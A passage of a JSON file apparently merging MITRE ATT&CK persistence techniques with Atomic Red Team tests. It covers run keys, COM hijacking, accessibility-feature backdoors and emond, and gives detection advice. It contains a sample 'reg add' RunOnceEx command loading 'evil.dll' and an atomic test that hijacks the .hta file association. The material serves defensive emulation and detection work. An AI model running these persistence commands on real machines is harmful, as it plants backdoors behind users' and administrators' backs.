- "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902",
- "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
- "source_name": "TechNet Autoruns"
- }
- ],
- "modified": "2020-01-23T22:05:32.409Z",
- "name": "Registry Run Keys / Startup Folder",
- "description": "Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the \"run keys\" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. (Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.\n\nPlacing a program within a startup folder will cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in.\n\nThe startup folder path for the current user is:\n* C:\\Users\\[Username]\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup
\nThe startup folder path for all users is:\n* C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp
\n\nThe following run keys are created by default on Windows systems:\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run
\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce
\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run
\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce
\n\nThe HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx
is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency. (Citation: Microsoft RunOnceEx APR 2018) For example, it is possible to load a DLL at logon using a \"Depend\" key with RunOnceEx: reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnceEx\\0001\\Depend /v 1 /d \"C:\\temp\\evil[.]dll\"
(Citation: Oddvar Moe RunOnceEx Mar 2018)\n\nThe following Registry keys can be used to set startup folder items for persistence:\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders
\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders
\n* HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders
\n* HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders
\n\nThe following Registry keys can control automatic startup of services during boot:\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce
\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce
\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices
\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServices
\n\nUsing policy settings to specify startup programs creates corresponding values in either of two Registry keys:\n* HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run
\n* HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run
\n\nThe Winlogon key controls actions that occur when a user logs on to a computer running Windows 7. Most of these actions are under the control of the operating system, but you can also add custom actions here. The HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Userinit
and HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell
subkeys can automatically launch programs.\n\nPrograms listed in the load value of the registry key HKEY_CURRENT_USER\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows
run when any user logs on.\n\nBy default, the multistring BootExecute value of the registry key HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager
is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.\n\nAdversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "Monitor Registry for changes to run keys that do not correlate with known software, patch cycles, etc. Monitor the start folder for additions or changes. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the run keys' Registry locations and startup folders. (Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data.\n\nChanges to these locations typically happen under normal conditions when legitimate software is installed. To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "User",
- "Administrator"
- ],
- "x_mitre_system_requirements": [
- "HKEY_LOCAL_MACHINE keys require administrator access to create and modify"
- ]
- },
- "atomic_tests": []
- },
- "T1554": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "CrowdStrike Falcon OverWatch"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--960c3c86-1480-4d72-b4e0-8c242e84a5c5",
- "type": "attack-pattern",
- "created": "2020-02-11T18:18:34.279Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1554",
- "url": "https://attack.mitre.org/techniques/T1554"
- }
- ],
- "modified": "2021-10-19T03:18:43.648Z",
- "name": "Compromise Client Software Binary",
- "description": "Adversaries may modify client software binaries to establish persistent access to systems. Client software enables users to access services provided by a server. Common client software types are SSH clients, FTP clients, email clients, and web browsers.\n\nAdversaries may make modifications to client software binaries to carry out malicious tasks when those applications are in use. For example, an adversary may copy source code for the client software, add a backdoor, compile for the target, and replace the legitimate application binary (or support files) with the backdoored one. Since these applications may be routinely executed by the user, the adversary can leverage this for persistent access to the host.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "Collect and analyze signing certificate metadata and check signature validity on software that executes within the environment. Look for changes to client software that do not correlate with known software or patch cycles. \n\nConsider monitoring for anomalous behavior from client applications, such as atypical module loads, file reads/writes, or network connections.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "File: File Creation",
- "File: File Deletion",
- "File: File Modification",
- "File: File Metadata"
- ]
- },
- "atomic_tests": []
- },
- "T1023": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Travis Smith, Tripwire"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--970cdb5c-02fb-4c38-b17e-d6327cf3c810",
- "type": "attack-pattern",
- "created": "2017-05-31T21:30:30.757Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "url": "https://attack.mitre.org/techniques/T1023",
- "external_id": "T1023"
- },
- {
- "external_id": "CAPEC-132",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/132.html"
- }
- ],
- "modified": "2020-01-24T19:36:41.805Z",
- "name": "Shortcut Modification",
- "description": "Shortcuts or symbolic links are ways of referencing other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process. Adversaries could use shortcuts to execute their tools for persistence. They may create a new shortcut as a means of indirection that may use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like a legitimate program. Adversaries could also edit the target path or entirely replace an existing shortcut so their tools will be executed instead of the intended legitimate program.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "Since a shortcut's target path likely will not change, modifications to shortcut files that do not correlate with known software changes, patches, removal, etc., may be suspicious. Analysis should attempt to relate shortcut file change or creation events to other potentially suspicious events based on known adversary behavior such as process launches of unknown executables that make network connections.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "User",
- "Administrator"
- ]
- },
- "atomic_tests": []
- },
- "T1546.001": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Travis Smith, Tripwire",
- "Stefan Kanthak"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--98034fef-d9fb-4667-8dc4-2eab6231724c",
- "created": "2020-01-24T13:40:47.282Z",
- "x_mitre_version": "1.0",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1546.001",
- "url": "https://attack.mitre.org/techniques/T1546/001"
- },
- {
- "source_name": "Microsoft Change Default Programs",
- "url": "https://support.microsoft.com/en-us/help/18539/windows-7-change-default-programs",
- "description": "Microsoft. (n.d.). Change which programs Windows 7 uses by default. Retrieved July 26, 2016."
- },
- {
- "source_name": "Microsoft File Handlers",
- "url": "http://msdn.microsoft.com/en-us/library/bb166549.aspx",
- "description": "Microsoft. (n.d.). Specifying File Handlers for File Name Extensions. Retrieved November 13, 2014."
- },
- {
- "source_name": "Microsoft Assoc Oct 2017",
- "url": "https://docs.microsoft.com/windows-server/administration/windows-commands/assoc",
- "description": "Plett, C. et al.. (2017, October 15). assoc. Retrieved August 7, 2018."
- },
- {
- "source_name": "TrendMicro TROJ-FAKEAV OCT 2012",
- "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_fakeav.gzd",
- "description": "Sioting, S. (2012, October 8). TROJ_FAKEAV.GZD. Retrieved August 8, 2018."
- },
- {
- "url": "https://capec.mitre.org/data/definitions/556.html",
- "source_name": "capec",
- "external_id": "CAPEC-556"
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may establish persistence by executing malicious content triggered by a file type association. When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access or by administrators using the built-in assoc utility.(Citation: Microsoft Change Default Programs)(Citation: Microsoft File Handlers)(Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.\n\nSystem file associations are listed under HKEY_CLASSES_ROOT\\.[extension]
, for example HKEY_CLASSES_ROOT\\.txt
. The entries point to a handler for that extension located at HKEY_CLASSES_ROOT\\\\[handler]
. The various commands are then listed as subkeys underneath the shell key at HKEY_CLASSES_ROOT\\\\[handler]\\shell\\\\[action]\\command
. For example: \n\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\open\\command
\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\print\\command
\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\printto\\command
\n\nThe values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands.(Citation: TrendMicro TROJ-FAKEAV OCT 2012)",
- "modified": "2022-04-20T16:55:49.219Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Event Triggered Execution: Change Default File Association",
- "x_mitre_detection": "Collect and analyze changes to Registry keys that associate file extensions to default applications for execution and correlate with unknown process launch activity or unusual file types for that process.\n\nUser file association preferences are stored under [HKEY_CURRENT_USER]\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts
and override associations configured under [HKEY_CLASSES_ROOT]
. Changes to a user's preference will occur under this entry's subkeys.\n\nAlso look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Process: Process Creation",
- "Windows Registry: Windows Registry Key Modification",
- "Command: Command Execution"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "SYSTEM",
- "User"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1546.001"
- },
- "atomic_tests": [
- {
- "name": "Change Default File Association",
- "auto_generated_guid": "10a08978-2045-4d62-8c42-1957bbbea102",
- "description": "Change Default File Association From cmd.exe of hta to notepad.\n\nUpon successful execution, cmd.exe will change the file association of .hta to notepad.exe. \n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "target_extension_handler": {
- "description": "txtfile maps to notepad.exe",
- "type": "path",
- "default": "txtfile"
- },
- "extension_to_change": {
- "description": "File Extension To Hijack",
- "type": "string",
- "default": ".hta"
- },
- "original_extension_handler": {
- "description": "File Extension To Revert",
- "type": "string",
- "default": "htafile"
- }
- },
- "executor": {
- "command": "assoc #{extension_to_change}=#{target_extension_handler}\n",
- "cleanup_command": "assoc #{extension_to_change}=#{original_extension_handler}\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- }
- ]
- },
- "T1122": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "ENDGAME"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--9b52fca7-1a36-4da0-b62d-da5bd83b4d69",
- "type": "attack-pattern",
- "created": "2017-05-31T21:31:33.979Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1122",
- "url": "https://attack.mitre.org/techniques/T1122"
- },
- {
- "url": "https://msdn.microsoft.com/library/ms694363.aspx",
- "description": "Microsoft. (n.d.). The Component Object Model. Retrieved August 18, 2016.",
- "source_name": "Microsoft Component Object Model"
- },
- {
- "url": "https://blog.gdatasoftware.com/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence",
- "description": "G DATA. (2014, October). COM Object hijacking: the discreet way of persistence. Retrieved August 13, 2016.",
- "source_name": "GDATA COM Hijacking"
- },
- {
- "source_name": "Elastic COM Hijacking",
- "description": "Ewing, P. Strom, B. (2016, September 15). How to Hunt: Detecting Persistence & Evasion with the COM. Retrieved September 15, 2016.",
- "url": "https://www.elastic.co/blog/how-hunt-detecting-persistence-evasion-com"
- }
- ],
- "modified": "2020-11-10T18:19:44.725Z",
- "name": "Component Object Model Hijacking",
- "description": "The Component Object Model (COM) is a system within Windows to enable interaction between software components through the operating system. (Citation: Microsoft Component Object Model) Adversaries can use this system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Windows Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead. (Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "There are opportunities to detect COM hijacking by searching for Registry references that have been replaced and through Registry operations replacing know binary paths with unknown paths. Even though some third party applications define user COM objects, the presence of objects within HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\
may be anomalous and should be investigated since user objects will be loaded prior to machine objects in HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\CLSID\\
. (Citation: Elastic COM Hijacking) Registry entries for existing COM objects may change infrequently. When an entry with a known good path and binary is replaced or changed to an unusual value to point to an unknown binary in a new location, then it may indicate suspicious behavior and should be investigated. Likewise, if software DLL loads are collected and analyzed, any unusual DLL load that can be correlated with a COM object Registry modification may indicate COM hijacking has been performed.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_defense_bypassed": [
- "Autoruns Analysis"
- ],
- "x_mitre_permissions_required": [
- "User"
- ]
- },
- "atomic_tests": []
- },
- "T1015": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Paul Speulstra, AECOM Global Security Operations Center"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--9b99b83a-1aac-4e29-b975-b374950551a3",
- "type": "attack-pattern",
- "created": "2017-05-31T21:30:26.946Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1015",
- "url": "https://attack.mitre.org/techniques/T1015"
- },
- {
- "external_id": "CAPEC-558",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/558.html"
- },
- {
- "url": "https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html",
- "description": "Glyer, C., Kazanciyan, R. (2012, August 20). The \u201cHikit\u201d Rootkit: Advanced and Persistent Attack Techniques (Part 1). Retrieved June 6, 2016.",
- "source_name": "FireEye Hikit Rootkit"
- },
- {
- "url": "https://www.slideshare.net/DennisMaldonado5/sticky-keys-to-the-kingdom",
- "description": "Maldonado, D., McGuffin, T. (2016, August 6). Sticky Keys to the Kingdom. Retrieved July 5, 2017.",
- "source_name": "DEFCON2016 Sticky Keys"
- },
- {
- "url": "http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/",
- "description": "Tilbury, C. (2014, August 28). Registry Analysis with CrowdResponse. Retrieved November 12, 2014.",
- "source_name": "Tilbury 2014"
- }
- ],
- "modified": "2020-05-13T20:37:30.008Z",
- "name": "Accessibility Features",
- "description": "Windows contains accessibility features that may be launched with a key combination before a user has logged in (for example, when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.\n\nTwo common accessibility programs are C:\\Windows\\System32\\sethc.exe
, launched when the shift key is pressed five times and C:\\Windows\\System32\\utilman.exe
, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as \"sticky keys\", and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit)\n\nDepending on the version of Windows, an adversary may take advantage of these features in different ways because of code integrity enhancements. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in %systemdir%\\
, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced. Examples for both methods:\n\nFor simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., C:\\Windows\\System32\\utilman.exe
) may be replaced with \"cmd.exe\" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1076) will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nFor the debugger method on Windows Vista and later as well as Windows Server 2008 and later, for example, a Registry key may be modified that configures \"cmd.exe,\" or another program that provides backdoor access, as a \"debugger\" for the accessibility program (e.g., \"utilman.exe\"). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with RDP will cause the \"debugger\" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nOther accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)\n\n* On-Screen Keyboard: C:\\Windows\\System32\\osk.exe
\n* Magnifier: C:\\Windows\\System32\\Magnify.exe
\n* Narrator: C:\\Windows\\System32\\Narrator.exe
\n* Display Switcher: C:\\Windows\\System32\\DisplaySwitch.exe
\n* App Switcher: C:\\Windows\\System32\\AtBroker.exe
",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "Changes to accessibility utility binaries or binary paths that do not correlate with known software, patch cycles, etc., are suspicious. Command line invocation of tools capable of modifying the Registry for associated keys are also suspicious. Utility arguments and the binaries themselves should be monitored for changes. Monitor Registry keys within HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options
.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "Administrator"
- ],
- "x_mitre_effective_permissions": [
- "SYSTEM"
- ]
- },
- "atomic_tests": []
- },
- "T1546.014": {
- "technique": {
- "x_mitre_platforms": [
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Ivan Sinyakov"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--9c45eaa3-8604-4780-8988-b5074dbb9ecd",
- "created": "2020-01-24T15:15:13.426Z",
- "x_mitre_version": "1.0",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1546.014",
- "url": "https://attack.mitre.org/techniques/T1546/014"
- },
- {
- "source_name": "magnusviri emond Apr 2016",
- "url": "http://www.magnusviri.com/Mac/what-is-emond.html",
- "description": "Reynolds, James. (2016, April 7). What is emond?. Retrieved September 10, 2019."
- },
- {
- "source_name": "xorrior emond Jan 2018",
- "url": "https://www.xorrior.com/emond-persistence/",
- "description": "Ross, Chris. (2018, January 17). Leveraging Emond on macOS For Persistence. Retrieved September 10, 2019."
- },
- {
- "source_name": "sentinelone macos persist Jun 2019",
- "url": "https://www.sentinelone.com/blog/how-malware-persists-on-macos/",
- "description": "Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS. Retrieved September 10, 2019."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may gain persistence and elevate privileges by executing malicious content triggered by the Event Monitor Daemon (emond). Emond is a [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at /sbin/emond
will load any rules from the /etc/emond.d/rules/
directory and take action once an explicitly defined event takes place.\n\nThe rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path /private/var/db/emondClients
, specified in the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) configuration file at/System/Library/LaunchDaemons/com.apple.emond.plist
.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019)\n\nAdversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) service.",
- "modified": "2022-04-20T00:16:01.732Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Event Triggered Execution: Emond",
- "x_mitre_detection": "Monitor emond rules creation by checking for files created or modified in /etc/emond.d/rules/
and /private/var/db/emondClients
.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Process: Process Creation",
- "Command: Command Execution",
- "File: File Creation",
- "File: File Modification"
- ],
- "x_mitre_permissions_required": [
- "Administrator"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1546.014"
- },
- "atomic_tests": []
- },
- "T1574.010": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Travis Smith, Tripwire",
- "Stefan Kanthak"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--9e8b28c9-35fe-48ac-a14d-e6cc032dcbcd",
- "type": "attack-pattern",
- "created": "2020-03-12T20:43:53.998Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1574.010",
- "url": "https://attack.mitre.org/techniques/T1574/010"
- },
- {
- "external_id": "CAPEC-17",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/17.html"
- }
- ],
- "modified": "2020-09-16T19:10:04.262Z",
- "name": "Services File Permissions Weakness",
- "description": "Adversaries may execute their own malicious payloads by hijacking the binaries used by services. Adversaries may use flaws in the permissions of Windows services to replace the binary that is executed upon service start. These service processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.\n\nLook for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques. ",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Process: Process Creation",
- "Service: Service Metadata",
- "File: File Modification",
- "File: File Creation"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "User"
- ],
- "x_mitre_effective_permissions": [
- "SYSTEM",
- "Administrator",
- "User"
- ]
- },
- "atomic_tests": []
- },
- "T1547.001": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Oddvar Moe, @oddvarmoe"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
- "created": "2020-01-23T22:02:48.566Z",
- "x_mitre_version": "1.1",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1547.001",
- "url": "https://attack.mitre.org/techniques/T1547/001"
- },
- {
- "source_name": "Malwarebytes Wow6432Node 2016",
- "url": "https://blog.malwarebytes.com/cybercrime/2013/10/hiding-in-plain-sight/",
- "description": "Arntz, P. (2016, March 30). Hiding in Plain Sight. Retrieved August 3, 2020."
- },
- {
- "source_name": "Microsoft Wow6432Node 2018",
- "url": "https://docs.microsoft.com/en-us/windows/win32/sysinfo/32-bit-and-64-bit-application-data-in-the-registry",
- "description": "Microsoft. (2018, May 31). 32-bit and 64-bit Application Data in the Registry. Retrieved August 3, 2020."
- },
- {
- "source_name": "Microsoft Run Key",
- "url": "http://msdn.microsoft.com/en-us/library/aa376977",
- "description": "Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved November 12, 2014."
- },
- {
- "source_name": "Oddvar Moe RunOnceEx Mar 2018",
- "url": "https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/",
- "description": "Moe, O. (2018, March 21). Persistence using RunOnceEx - Hidden from Autoruns.exe. Retrieved June 29, 2018."
- },
- {
- "source_name": "TechNet Autoruns",
- "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902",
- "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016."
- },
- {
- "url": "https://capec.mitre.org/data/definitions/270.html",
- "source_name": "capec",
- "external_id": "CAPEC-270"
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
